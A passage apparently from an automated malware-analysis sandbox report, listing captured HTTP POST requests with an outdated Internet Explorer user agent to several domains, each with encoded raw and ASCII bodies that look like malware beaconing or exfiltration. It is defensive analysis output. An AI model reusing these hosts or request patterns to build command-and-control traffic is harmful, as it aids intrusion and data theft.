34 76 73 49 77 6e 54 34 4e 7a 64 65 42 39 6b 71 54 4e 43 4a 32 4f 50 54 62 4f 2f 73 66 5a 5a 66 77 4e 58 53 2b 55 52 53 31 45 6e 6a 46 6d 37 69 73 61 38 56 52 39 4f 51 72 4f 42 64 73 69 58 55 75 45 41 6e 4b 62 2f 4a 69 69 6b 57 33 68 50 6e 4b 75 2b 31 4c 44 45 50 62 34 4c 47 66 75 78 51 56 37 51 31 48 74 58 4d 42 4d 38 6a 68 32 55 50 38 37 67 56 44 41 43 2b 58 74 35 42 6d 4a 51 5a 54 39 35 48 67 4f 36 4e 2f 78 38 69 4f 69 Data Ascii: 02BjdkLUuQ7W7DkwNQbjwMUCtSRSfRJLlr70VcBRJR6FgrbMkKqMPoOBSKp4ocP3jmfUZByA2S2IwbTIFDpVnP0eLcLLUzGN9L3c8reqOgngJoYcR7mFwOrSYgJQCYB0CtviIXQfr1CbksZrp9AS6j0MS4ojMW880CZEg7pRYhahnBiOAdpRg2wXDLtkKcjvIV2JjcwD8siL2pVvlDIP6Ky0Y+K+btiLZMx320k2To24ZgJpzP7nD+aQhxSF2Di5tmZ9haZiZwwR8Ap2TMIY2Ddd6hBmx9kIP1I8R6X3k/aG7HJ/CDT+2ZwxrSWeEePHPeiKOGg2nNLz1vk1Hgev2QoNujwL+bZLJgX3h5lwZH5RhUq7K/tqVo6g61rAe/eqWE50Jt6VPZsposZ7OvVlwi+hnH+rX+v2FJF7KlqTyisTxf4vsIwnT4NzdeB9kqTNCJ2OPTbO/sfZZfwNXS+URS1EnjFm7isa8VR9OQrOBdsiXUuEAnKb/JiikW3hPnKu+1LDEPb4LGfuxQV7Q1HtXMBM8jh2UP87gVDAC+Xt5BmJQZT95HgO6N/x8iOi
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ex-olive.comCache-Control: no-cacheCookie: PHPSESSID=atushmpkrhuqa87aie074ttki7Data Raw: 67 4b 4a 48 4e 41 43 69 54 31 6e 6d 54 5a 75 45 30 79 30 47 55 6a 4d 5a 47 6b 76 6f 4b 48 6f 62 4e 4c 46 43 72 6c 62 35 78 38 51 7a 30 41 74 56 48 51 64 70 75 77 5a 62 47 77 31 6d 75 64 50 6a 69 38 56 4d 67 59 78 7a 48 57 36 4d 45 2b 73 6e 4d 72 4c 72 61 50 6a 2b 6d 6b 45 53 50 38 47 7a 55 76 31 77 78 31 32 6c 51 58 74 4e 4c 42 66 61 4b 48 44 55 72 49 46 68 4e 6a 61 38 41 4c 69 31 48 37 32 39 55 6d 76 68 61 2f 39 6a 75 7a 78 6e 74 32 66 75 45 38 63 6c 33 6a 47 58 54 71 32 2f 42 57 46 4b 6f 77 5a 34 6d 62 70 56 72 47 38 35 48 71 51 50 56 47 55 59 4b 4e 2f 36 36 47 77 75 5a 6d 48 4a 65 75 33 72 43 75 32 57 6f 76 70 43 75 77 49 4a 4f 63 7a 74 70 70 50 43 46 39 61 43 7a 6e 68 4b 31 79 4b 6f 53 53 65 7a 4b 6d 78 47 39 33 4b 7a 45 50 75 66 6a 65 54 30 69 4f 32 6e 78 53 56 31 4e 58 67 6c 73 2f 72 39 67 65 55 41 75 5a 47 67 64 53 66 4a 39 6a 73 53 37 4a 68 76 73 2f 5a 55 2f 4d 38 47 78 5a 77 74 63 66 73 72 51 78 54 53 6c 4a 51 4a 4d 78 32 6c 58 78 62 71 42 73 4b 30 59 6d 35 31 6f 58 75 6c 69 54 38 2b 47 2b 58 2f 31 41 79 37 43 54 6f 32 5a 6a 4c 66 6a 44 52 49 55 75 46 79 4b 53 4a 46 35 6e 54 33 2f 55 78 34 35 58 77 41 51 6c 4a 4a 6d 54 68 57 43 36 5a 72 35 75 62 76 48 6e 79 76 50 39 6f 4b 69 53 38 35 79 72 37 61 75 38 6e 67 68 4b 77 53 66 6b 63 4d 4f 53 59 67 43 62 56 41 38 71 70 69 45 41 65 6d 50 55 71 34 46 39 56 2f 7a 6d 5a 35 4d 78 74 79 68 47 68 36 30 6e 36 47 6c 73 32 43 64 74 63 67 68 66 64 51 67 38 7a 32 6b 65 79 68 4c 42 47 49 43 38 59 41 48 33 32 42 4d 49 6e 63 72 2f 4b 74 6d 76 73 67 51 6d 74 47 4e 34 79 57 34 69 38 39 36 56 4b 66 46 4e 63 34 51 48 73 34 54 61 51 5a 35 6a 34 2b 50 66 67 69 56 37 7a 6f 72 2b 56 4e Data Ascii: gKJHNACiT1nmTZuE0y0GUjMZGkvoKHobNLFCrlb5x8Qz0AtVHQdpuwZbGw1mudPji8VMgYxzHW6ME+snMrLraPj+mkESP8GzUv1wx12lQXtNLBfaKHDUrIFhNja8ALi1H729Umvha/9juzxnt2fuE8cl3jGXTq2/BWFKowZ4mbpVrG85HqQPVGUYKN/66GwuZmHJeu3rCu2WovpCuwIJOcztppPCF9aCznhK1yKoSSezKmxG93KzEPufjeT0iO2nxSV1NXgls/r9geUAuZGgdSfJ9jsS7Jhvs/ZU/M8GxZwtcfsrQxTSlJQJMx2lXxbqBsK0Ym51oXuliT8+G+X/1Ay7CTo2ZjLfjDRIUuFyKSJF5nT3/Ux45XwAQlJJmThWC6Zr5ubvHnyvP9oKiS85yr7au8nghKwSfkcMOSYgCbVA8qpiEAemPUq4F9V/zmZ5MxtyhGh60n6Gls2CdtcghfdQg8z2keyhLBGIC8YAH32BMIncr/KtmvsgQmtGN4yW4i896VKfFNc4QHs4TaQZ5j4+PfgiV7zor+VN
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.netcr.comCache-Control: no-cacheData Raw: 6b 71 49 36 64 56 61 37 30 67 37 4b 63 45 5a 2f 4d 62 6f 73 50 2f 6d 2b 6b 49 44 32 4d 30 76 6a 36 71 77 47 79 52 76 63 62 75 53 73 6a 6f 57 32 49 6f 75 52 56 4d 39 47 4e 58 4f 47 36 55 4c 50 67 46 59 72 2b 65 4c 35 67 66 6d 4a 33 37 45 39 6f 56 46 32 50 66 55 45 64 79 55 35 5a 76 76 59 62 41 2b 30 42 4b 6f 49 6d 6e 57 34 48 76 4d 78 62 41 41 55 6f 4a 33 35 74 44 70 32 30 6f 52 71 2b 32 59 44 42 56 72 4f 38 57 73 75 39 51 54 49 44 51 74 55 62 73 2b 35 50 58 66 38 35 77 6a 2f 74 6e 49 79 59 44 76 42 6e 56 64 65 59 67 50 30 48 72 66 67 33 5a 31 67 32 4c 49 52 6e 53 53 46 50 68 59 4b 4e 71 56 35 77 66 77 4d 71 42 58 74 48 76 2f 51 36 75 51 77 37 4d 2b 32 6e 76 75 6e 51 6e 53 50 6b 6a 4a 32 63 43 63 4f 35 36 42 48 50 4c 4b 34 30 57 54 67 72 75 36 35 33 53 4b 4d 48 47 36 54 6e 4a 41 64 79 7a 63 31 64 57 79 36 4f 76 37 32 54 72 4a 71 64 6e 2f 59 48 35 6a 36 53 4c 34 4b 70 62 4d 77 55 31 6c 67 36 34 37 53 79 6b 6d 74 2b 63 32 76 35 41 67 6c 36 64 4e 6c 73 65 76 42 6a 49 43 44 58 41 4f 4a 64 75 4c 38 52 31 70 6a 76 4c 52 66 52 74 4b 67 36 56 45 4d 35 4d 78 55 76 76 6f 61 36 53 53 69 5a 39 2f 37 57 38 4c 36 72 6f 36 76 73 57 50 70 38 63 35 4a 48 68 35 6d 70 30 7a 6a 51 55 31 41 37 6c 79 73 4f 61 4d 65 38 56 39 48 44 58 2b 79 54 59 30 43 78 71 6e 72 6d 75 6d 30 6f 30 46 62 72 4f 38 6e 59 78 52 2f 66 74 77 45 72 52 38 6d 76 34 78 31 2b 43 4e 5a 2f 48 6d 6a 55 79 54 62 67 68 51 59 58 52 30 33 51 31 2b 54 54 71 76 4f 6a 4d 2f 7a 47 66 66 31 46 74 39 72 59 79 62 47 34 69 77 74 45 73 76 38 68 4a 50 70 53 4a 38 34 37 57 56 58 58 4b 2b 78 67 4a 6b 59 57 7a 68 72 37 71 2f 6c 64 62 70 57 62 77 64 4c 4f 6d 63 7a 78 63 49 4e 64 44 6c 63 39 50 7a 50 31 64 32 5a 78 79 35 6f 45 58 72 62 34 47 35 70 32 43 32 30 33 56 59 48 75 57 4d 4a 76 79 53 67 4a 59 37 46 Data Ascii: kqI6dVa70g7KcEZ/MbosP/m+kID2M0vj6qwGyRvcbuSsjoW2IouRVM9GNXOG6ULPgFYr+eL5gfmJ37E9oVF2PfUEdyU5ZvvYbA+0BKoImnW4HvMxbAAUoJ35tDp20oRq+2YDBVrO8Wsu9QTIDQtUbs+5PXf85wj/tnIyYDvBnVdeYgP0Hrfg3Z1g2LIRnSSFPhYKNqV5wfwMqBXtHv/Q6uQw7M+2nvunQnSPkjJ2cCcO56BHPLK40WTgru653SKMHG6TnJAdyzc1dWy6Ov72TrJqdn/YH5j6SL4KpbMwU1lg647Sykmt+c2v5Agl6dNlsevBjICDXAOJduL8R1pjvLRfRtKg6VEM5MxUvvoa6SSiZ9/7W8L6ro6vsWPp8c5JHh5mp0zjQU1A7lysOaMe8V9HDX+yTY0Cxqnrmum0o0FbrO8nYxR/ftwErR8mv4x1+CNZ/HmjUyTbghQYXR03Q1+TTqvOjM/zGff1Ft9rYybG4iwtEsv8hJPpSJ847WVXXK+xgJkYWzhr7q/ldbpWbwdLOmczxcINdDlc9PzP1d2Zxy5oEXrb4G5p2C203VYHuWMJvySgJY7F
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jchysk.comCache-Control: no-cacheData Raw: 6d 68 48 38 4f 32 70 76 39 46 68 4b 34 56 4f 43 54 64 65 57 42 69 33 4d 35 37 32 61 6d 36 56 66 50 72 41 50 41 52 52 45 56 41 4e 6d 68 57 73 7a 4b 35 4d 77 59 44 48 4a 4f 48 42 54 6f 6d 2f 72 4f 4f 61 31 68 30 4e 41 58 33 66 66 46 49 49 58 4d 39 52 78 4d 61 39 49 6b 4d 45 31 61 55 43 53 6e 59 7a 6e 65 34 30 36 33 61 68 72 64 75 6f 4d 30 64 30 54 48 2b 44 53 65 59 46 48 52 70 4e 76 75 38 35 61 64 2b 77 62 30 6a 34 73 68 49 75 70 77 64 54 57 6b 48 36 32 7a 31 4a 4d 41 63 30 4e 4a 6b 7a 35 53 41 2b 63 5a 66 6c 6a 38 48 2b 4b 74 6e 63 63 35 4a 67 4a 50 6a 5a 50 45 75 36 56 69 33 35 41 2b 53 78 57 78 31 67 46 2b 69 50 35 6d 53 48 6b 56 53 6a 72 43 4a 73 36 2f 76 76 74 51 6a 70 6f 6b 4f 75 4d 4d 78 4e 45 4c 6b 64 53 52 33 64 48 6f 68 63 2f 44 62 47 6d 35 4b 4a 4e 48 43 66 39 74 4a 53 32 72 70 32 7a 74 4c 78 79 58 68 4a 4e 4d 2b 63 30 2f 37 39 33 34 4e 71 2b 6a 70 48 61 70 68 44 65 58 42 69 64 4d 79 2f 44 70 51 42 49 30 54 5a 50 52 4c 2b 6c 70 72 69 36 31 4b 63 53 2b 4a 68 55 35 55 59 61 2f 66 49 7a 61 58 7a 46 68 37 4a 63 48 7a 69 34 56 58 69 78 47 53 5a 39 73 39 67 6c 4c 6f 48 66 50 65 4a 78 47 53 78 6e 7a 6b 44 69 4e 6f 58 6e 54 2b 2f 65 70 48 33 42 68 61 47 6b 45 45 4a 55 72 34 48 66 30 67 59 69 4a 39 48 7a 78 43 63 33 32 6c 51 63 32 79 43 74 37 65 4f 47 63 45 2b 4d 70 56 34 63 4c 61 5a 2f 45 6b 34 6d 30 67 4a 6f 39 6e 55 59 6f 4c 32 2f 58 33 72 73 35 57 76 6c 46 76 6a 2b 45 6f 49 67 56 41 44 72 34 6b 77 59 71 73 70 4b 34 4e 30 30 75 59 72 36 37 70 54 70 4b 53 39 39 58 4d 37 42 71 53 49 6a 58 63 69 78 2b 75 78 32 61 51 4e 63 45 63 31 53 47 36 6a 43 78 70 64 6f 68 57 43 42 4e 72 4c 67 63 54 75 69 75 79 6f 3d Data Ascii: mhH8O2pv9FhK4VOCTdeWBi3M572am6VfPrAPARREVANmhWszK5MwYDHJOHBTom/rOOa1h0NAX3ffFIIXM9RxMa9IkME1aUCSnYzne4063ahrduoM0d0TH+DSeYFHRpNvu85ad+wb0j4shIupwdTWkH62z1JMAc0NJkz5SA+cZflj8H+Ktncc5JgJPjZPEu6Vi35A+SxWx1gF+iP5mSHkVSjrCJs6/vvtQjpokOuMMxNELkdSR3dHohc/DbGm5KJNHCf9tJS2rp2ztLxyXhJNM+c0/7934Nq+jpHaphDeXBidMy/DpQBI0TZPRL+lpri61KcS+JhU5UYa/fIzaXzFh7JcHzi4VXixGSZ9s9glLoHfPeJxGSxnzkDiNoXnT+/epH3BhaGkEEJUr4Hf0gYiJ9HzxCc32lQc2yCt7eOGcE+MpV4cLaZ/Ek4m0gJo9nUYoL2/X3rs5WvlFvj+EoIgVADr4kwYqspK4N00uYr67pTpKS99XM7BqSIjXcix+ux2aQNcEc1SG6jCxpdohWCBNrLgcTuiuyo=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jchysk.comCache-Control: no-cacheData Raw: 6d 68 48 38 4f 32 70 76 39 46 68 4b 34 56 4f 43 54 64 65 57 42 69 33 4d 35 37 32 61 6d 36 56 66 50 72 41 50 41 52 52 45 56 41 4e 6d 68 57 73 7a 4b 35 4d 77 59 44 48 4a 4f 48 42 54 6f 6d 2f 72 4f 4f 61 31 68 30 4e 41 58 33 66 66 46 49 49 58 4d 39 52 78 4d 61 39 49 6b 4d 45 31 61 55 43 53 6e 59 7a 6e 65 34 30 36 33 61 68 72 64 75 6f 4d 30 64 30 54 48 2b 44 53 65 59 46 48 52 70 4e 76 75 38 35 61 64 2b 77 62 30 6a 34 73 68 49 75 70 77 64 54 57 6b 48 36 32 7a 31 4a 4d 41 63 30 4e 4a 6b 7a 35 53 41 2b 63 5a 66 6c 6a 38 48 2b 4b 74 6e 63 63 35 4a 67 4a 50 6a 5a 50 45 75 36 56 69 33 35 41 2b 53 78 57 78 31 67 46 2b 69 50 35 6d 53 48 6b 56 53 6a 72 43 4a 73 36 2f 76 76 74 51 6a 70 6f 6b 4f 75 4d 4d 78 4e 45 4c 6b 64 53 52 33 64 48 6f 68 63 2f 44 62 47 6d 35 4b 4a 4e 48 43 66 39 74 4a 53 32 72 70 32 7a 74 4c 78 79 58 68 4a 4e 4d 2b 63 30 2f 37 39 33 34 4e 71 2b 6a 70 48 61 70 68 44 65 58 42 69 64 4d 79 2f 44 70 51 42 49 30 54 5a 50 52 4c 2b 6c 70 72 69 36 31 4b 63 53 2b 4a 68 55 35 55 59 61 2f 66 49 7a 61 58 7a 46 68 37 4a 63 48 7a 69 34 56 58 69 78 47 53 5a 39 73 39 67 6c 4c 6f 48 66 50 65 4a 78 47 53 78 6e 7a 6b 44 69 4e 6f 58 6e 54 2b 2f 65 70 48 33 42 68 61 47 6b 45 45 4a 55 72 34 48 66 30 67 59 69 4a 39 48 7a 78 43 63 33 32 6c 51 63 32 79 43 74 37 65 4f 47 63 45 2b 4d 70 56 34 63 4c 61 5a 2f 45 6b 34 6d 30 67 4a 6f 39 6e 55 59 6f 4c 32 2f 58 33 72 73 35 57 76 6c 46 76 6a 2b 45 6f 49 67 56 41 44 72 34 6b 77 59 71 73 70 4b 34 4e 30 30 75 59 72 36 37 70 54 70 4b 53 39 39 58 4d 37 42 71 53 49 6a 58 63 69 78 2b 75 78 32 61 51 4e 63 45 63 31 53 47 36 6a 43 78 70 64 6f 68 57 43 42 4e 72 4c 67 63 54 75 69 75 79 6f 3d Data Ascii: mhH8O2pv9FhK4VOCTdeWBi3M572am6VfPrAPARREVANmhWszK5MwYDHJOHBTom/rOOa1h0NAX3ffFIIXM9RxMa9IkME1aUCSnYzne4063ahrduoM0d0TH+DSeYFHRpNvu85ad+wb0j4shIupwdTWkH62z1JMAc0NJkz5SA+cZflj8H+Ktncc5JgJPjZPEu6Vi35A+SxWx1gF+iP5mSHkVSjrCJs6/vvtQjpokOuMMxNELkdSR3dHohc/DbGm5KJNHCf9tJS2rp2ztLxyXhJNM+c0/7934Nq+jpHaphDeXBidMy/DpQBI0TZPRL+lpri61KcS+JhU5UYa/fIzaXzFh7JcHzi4VXixGSZ9s9glLoHfPeJxGSxnzkDiNoXnT+/epH3BhaGkEEJUr4Hf0gYiJ9HzxCc32lQc2yCt7eOGcE+MpV4cLaZ/Ek4m0gJo9nUYoL2/X3rs5WvlFvj+EoIgVADr4kwYqspK4N00uYr67pTpKS99XM7BqSIjXcix+ux2aQNcEc1SG6jCxpdohWCBNrLgcTuiuyo=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cel-cpa.comCache-Control: no-cacheData Raw: 63 39 37 53 65 68 58 4b 2f 6c 67 4b 4d 69 46 31 2f 4a 54 77 41 51 34 66 75 36 38 6a 44 2f 71 4d 47 52 69 50 50 46 6b 55 42 68 5a 43 54 6c 34 39 2b 75 68 34 51 77 46 36 6a 4e 2b 58 73 51 48 6e 63 55 57 74 54 4e 36 33 54 4a 63 51 52 36 6b 2f 35 38 41 76 4c 4b 4a 55 78 51 4e 59 39 62 79 65 41 69 4f 74 59 2f 49 35 45 31 6d 56 49 65 66 6e 66 74 77 51 52 4d 75 58 70 30 4d 74 4a 4b 5a 52 52 67 38 6b 32 51 50 6e 6d 35 42 48 4e 33 2b 56 62 38 38 4a 41 6f 4b 44 70 2b 47 65 78 49 4d 43 7a 47 70 6a 51 75 33 45 4e 73 37 53 56 54 5a 6b 70 78 73 61 41 74 39 50 78 4f 72 59 51 69 79 71 47 36 6b 42 41 4b 35 62 61 47 75 51 38 2f 58 62 56 6a 42 39 51 32 56 53 39 66 52 48 31 37 34 56 68 72 50 55 6c 44 31 49 6a 4a 39 43 58 38 59 30 56 4e 4c 52 4c 41 4b 53 6f 52 45 4f 33 6d 79 69 56 6c 59 5a 63 6f 47 41 2b 64 77 34 63 43 2f 49 66 58 37 79 75 46 56 32 7a 72 50 75 38 38 4c 67 4a 6a 48 4c 62 6f 45 38 75 45 74 51 4e 61 4a 74 70 4d 32 4f 5a 58 6d 63 47 36 31 4b 7a 34 61 46 57 69 30 4e 77 77 4d 65 43 4c 74 43 42 2f 46 65 36 77 70 37 65 33 65 57 6c 77 67 69 78 68 2f 79 55 7a 2b 6d 63 42 58 45 51 4f 45 68 49 59 73 72 4d 78 6a 72 41 70 69 35 37 6f 77 67 49 58 37 5a 33 64 59 75 6a 4a 62 56 49 64 35 67 44 56 4f 30 74 4a 72 67 6d 34 2f 65 68 33 42 46 32 74 4a 71 55 44 76 38 52 41 6e 53 56 67 52 52 4d 67 65 49 6e 44 4a 34 4b 61 63 57 6f 74 67 33 67 67 56 72 4e 52 39 4d 7a 68 75 41 75 6d 35 74 2f 79 44 39 63 42 59 30 4b 35 44 72 52 44 67 42 39 47 77 53 4a 51 77 74 4d 55 4a 76 2f 6e 59 2b 2f 65 45 49 67 78 62 5a 49 71 43 5a 6a 59 49 33 42 70 73 31 52 31 65 57 6b 72 6f 72 71 6c 4c 52 78 54 4a 57 31 56 2f 44 4f 59 49 73 41 6a 34 6c 6e 57 7a 4e 33 6d 43 2b 58 33 49 72 52 62 32 32 31 70 4d 53 6d 71 45 42 53 37 69 77 41 69 45 58 51 43 50 53 73 61 49 79 32 75 42 54 4a 77 3d 3d Data Ascii: c97SehXK/lgKMiF1/JTwAQ4fu68jD/qMGRiPPFkUBhZCTl49+uh4QwF6jN+XsQHncUWtTN63TJcQR6k/58AvLKJUxQNY9byeAiOtY/I5E1mVIefnftwQRMuXp0MtJKZRRg8k2QPnm5BHN3+Vb88JAoKDp+GexIMCzGpjQu3ENs7SVTZkpxsaAt9PxOrYQiyqG6kBAK5baGuQ8/XbVjB9Q2VS9fRH174VhrPUlD1IjJ9CX8Y0VNLRLAKSoREO3myiVlYZcoGA+dw4cC/IfX7yuFV2zrPu88LgJjHLboE8uEtQNaJtpM2OZXmcG61Kz4aFWi0NwwMeCLtCB/Fe6wp7e3eWlwgixh/yUz+mcBXEQOEhIYsrMxjrApi57owgIX7Z3dYujJbVId5gDVO0tJrgm4/eh3BF2tJqUDv8RAnSVgRRMgeInDJ4KacWotg3ggVrNR9MzhuAum5t/yD9cBY0K5DrRDgB9GwSJQwtMUJv/nY+/eEIgxbZIqCZjYI3Bps1R1eWkrorqlLRxTJW1V/DOYIsAj4lnWzN3mC+X3IrRb221pMSmqEBS7iwAiEXQCPSsaIy2uBTJw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.findbc.comCache-Control: no-cacheData Raw: 42 6e 49 76 7a 30 35 4b 5a 56 6d 6b 4e 57 6e 75 32 63 33 4d 59 37 45 38 38 76 52 4f 4b 75 5a 51 59 6d 39 43 6b 4e 4a 77 54 51 38 70 41 4a 6c 36 47 62 52 33 71 42 4e 35 72 63 61 65 44 51 70 58 74 4a 79 38 57 58 73 2b 6e 55 4f 51 58 69 58 74 42 39 57 47 54 2b 63 46 6f 34 67 33 6d 51 45 39 31 52 35 70 4c 6f 64 5a 78 4e 4b 7a 52 66 4f 38 47 31 6c 4f 71 50 7a 74 33 57 58 4d 35 4d 56 4a 6e 57 57 69 79 67 75 44 68 6f 30 4e 53 49 54 45 4f 76 52 53 37 36 57 4e 75 44 48 7a 43 7a 31 57 50 73 68 34 4e 39 67 6a 4d 55 4c 36 71 6d 78 4a 4d 6b 6f 66 4d 55 53 75 79 39 30 46 45 54 4d 55 4d 78 2b 34 4e 54 4e 51 48 31 7a 4e 47 6f 6e 43 58 4b 55 44 33 37 35 70 4a 6a 6c 39 4e 79 69 6a 35 4d 39 51 31 63 4c 57 5a 49 32 37 39 68 31 58 43 71 6d 34 61 64 30 51 74 52 46 31 47 49 4d 77 34 5a 6c 74 73 7a 72 64 38 74 72 4d 68 71 34 6c 35 64 67 4c 66 4d 33 44 52 39 53 6d 61 56 65 46 72 49 55 71 68 78 54 54 4e 30 62 33 7a 76 62 61 4c 45 31 78 62 78 4c 36 4a 38 45 50 68 78 32 4e 46 4f 64 6c 59 33 63 51 79 6f 79 50 4c 49 75 4a 71 32 63 2f 46 53 42 6f 47 6f 49 4a 7a 52 5a 68 52 68 6a 4d 2b 69 63 63 66 4b 49 4b 70 72 66 4a 36 57 37 74 78 42 41 69 32 2b 5a 30 4f 69 41 2b 76 65 6f 48 65 38 47 45 38 59 55 78 72 7a 68 42 78 79 59 73 47 4f 45 4d 39 57 6d 77 50 45 33 37 41 62 65 69 64 4c 6f 4f 73 71 4e 44 2f 53 68 6c 68 35 70 6c 65 63 69 79 55 74 77 52 4a 33 68 34 42 4f 78 51 6e 6f 4e 42 6d 73 4b 44 64 63 75 70 78 75 55 56 72 46 6d 4b 65 4a 79 76 43 6c 4b 44 65 2f 57 32 69 31 6b 6a 35 41 72 6f 74 44 2f 6f 33 62 6f 48 37 6a 61 6b 48 58 54 36 34 33 41 68 31 38 4a 79 70 70 56 4a 70 59 30 4d 4a 76 61 2f 31 70 43 79 6a 4e 71 52 39 2f 37 76 54 58 48 67 42 56 2f 59 41 47 30 54 5a 6d 53 54 45 50 75 2f 71 70 30 77 6c 46 62 47 30 57 50 64 74 6c 54 4b 2b 5a 74 78 30 39 6b 57 71 6d 67 62 38 52 6c 48 73 51 45 3d Data Ascii: BnIvz05KZVmkNWnu2c3MY7E88vROKuZQYm9CkNJwTQ8pAJl6GbR3qBN5rcaeDQpXtJy8WXs+nUOQXiXtB9WGT+cFo4g3mQE91R5pLodZxNKzRfO8G1lOqPzt3WXM5MVJnWWiyguDho0NSITEOvRS76WNuDHzCz1WPsh4N9gjMUL6qmxJMkofMUSuy90FETMUMx+4NTNQH1zNGonCXKUD375pJjl9Nyij5M9Q1cLWZI279h1XCqm4ad0QtRF1GIMw4Zltszrd8trMhq4l5dgLfM3DR9SmaVeFrIUqhxTTN0b3zvbaLE1xbxL6J8EPhx2NFOdlY3cQyoyPLIuJq2c/FSBoGoIJzRZhRhjM+iccfKIKprfJ6W7txBAi2+Z0OiA+veoHe8GE8YUxrzhBxyYsGOEM9WmwPE37AbeidLoOsqND/Shlh5pleciyUtwRJ3h4BOxQnoNBmsKDdcupxuUVrFmKeJyvClKDe/W2i1kj5ArotD/o3boH7jakHXT643Ah18JyppVJpY0MJva/1pCyjNqR9/7vTXHgBV/YAG0TZmSTEPu/qp0wlFbG0WPdtlTK+Ztx09kWqmgb8RlHsQE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jacomfg.comCache-Control: no-cacheData Raw: 4c 75 71 73 4e 45 61 41 66 51 36 79 43 2b 5a 44 59 56 72 41 67 47 6e 39 6b 6b 75 6d 4d 39 47 56 32 6f 44 6b 4e 57 69 4c 75 4c 35 6d 35 64 2b 59 47 4a 73 61 43 39 75 4d 72 4d 5a 55 67 72 75 56 56 4d 6a 54 78 50 43 44 37 66 41 54 48 64 46 73 4e 6c 67 39 65 35 35 67 54 51 66 2f 30 33 2f 4f 6f 6b 6b 34 59 68 57 6a 51 65 42 75 63 62 6e 32 2f 76 51 34 51 57 64 73 75 55 52 35 31 78 74 6f 58 62 76 71 52 7a 50 63 32 4d 53 42 79 56 30 4c 76 4e 75 67 52 74 46 69 53 67 58 6d 6b 50 62 56 37 4d 4f 78 4f 55 45 6b 6e 52 56 30 30 67 57 56 59 2f 74 34 79 4c 37 74 74 68 62 31 63 6a 70 73 5a 58 5a 4f 38 54 32 69 6c 2f 74 39 74 37 4c 6e 2f 53 65 66 54 2f 30 4b 44 38 73 63 47 64 68 6a 4a 68 66 6e 49 52 70 4c 68 7a 5a 42 4a 42 48 31 38 39 43 35 70 4a 36 79 68 59 77 59 59 65 42 35 50 75 59 48 78 64 52 65 49 6b 6d 70 6c 75 6e 58 5a 6d 38 36 70 62 4c 2f 79 42 34 6a 4a 45 37 6a 47 6f 42 35 49 74 6a 2f 6b 2b 72 6b 4a 67 65 43 41 36 42 65 65 52 4e 64 2b 72 44 39 65 6a 44 6a 44 62 70 6b 6a 57 32 71 65 37 67 7a 64 30 35 64 36 42 6b 4b 79 2f 41 6d 48 55 71 4a 6c 4f 33 59 6f 78 54 56 46 54 4a 67 31 30 48 51 58 6b 53 6b 4a 38 78 6b 68 41 4b 65 41 55 79 54 30 67 58 53 4d 49 4e 42 58 72 4b 50 76 30 4b 69 56 6d 6a 55 6f 41 4b 64 4a 6a 38 73 44 55 4e 53 47 5a 54 78 44 38 56 46 49 4f 6c 6f 6e 55 62 6d 49 64 45 57 4a 2b 67 39 4e 33 6b 6b 4e 42 53 78 38 41 57 54 4f 72 51 66 75 62 49 74 78 2b 4d 4f 33 38 59 35 65 4b 35 4a 45 4a 73 58 63 7a 34 4f 71 69 34 6a 39 44 33 6e 6d 33 7a 49 52 39 38 57 56 6b 63 33 68 30 2b 6d 35 73 39 4b 47 65 48 73 35 4f 54 4d 7a 63 66 38 4d 67 4c 72 67 53 70 4d 66 5a 78 66 63 57 30 67 6c 79 50 36 7a 53 70 6e 62 65 46 66 2f 63 79 6f 59 69 73 6c 6c 31 56 45 2f 5a 2b 4d 53 6e 4e 46 55 55 32 2f 55 71 77 37 Data Ascii: LuqsNEaAfQ6yC+ZDYVrAgGn9kkumM9GV2oDkNWiLuL5m5d+YGJsaC9uMrMZUgruVVMjTxPCD7fATHdFsNlg9e55gTQf/03/Ookk4YhWjQeBucbn2/vQ4QWdsuUR51xtoXbvqRzPc2MSByV0LvNugRtFiSgXmkPbV7MOxOUEknRV00gWVY/t4yL7tthb1cjpsZXZO8T2il/t9t7Ln/SefT/0KD8scGdhjJhfnIRpLhzZBJBH189C5pJ6yhYwYYeB5PuYHxdReIkmplunXZm86pbL/yB4jJE7jGoB5Itj/k+rkJgeCA6BeeRNd+rD9ejDjDbpkjW2qe7gzd05d6BkKy/AmHUqJlO3YoxTVFTJg10HQXkSkJ8xkhAKeAUyT0gXSMINBXrKPv0KiVmjUoAKdJj8sDUNSGZTxD8VFIOlonUbmIdEWJ+g9N3kkNBSx8AWTOrQfubItx+MO38Y5eK5JEJsXcz4Oqi4j9D3nm3zIR98WVkc3h0+m5s9KGeHs5OTMzcf8MgLrgSpMfZxfcW0glyP6zSpnbeFf/cyoYisll1VE/Z+MSnNFUU2/Uqw7
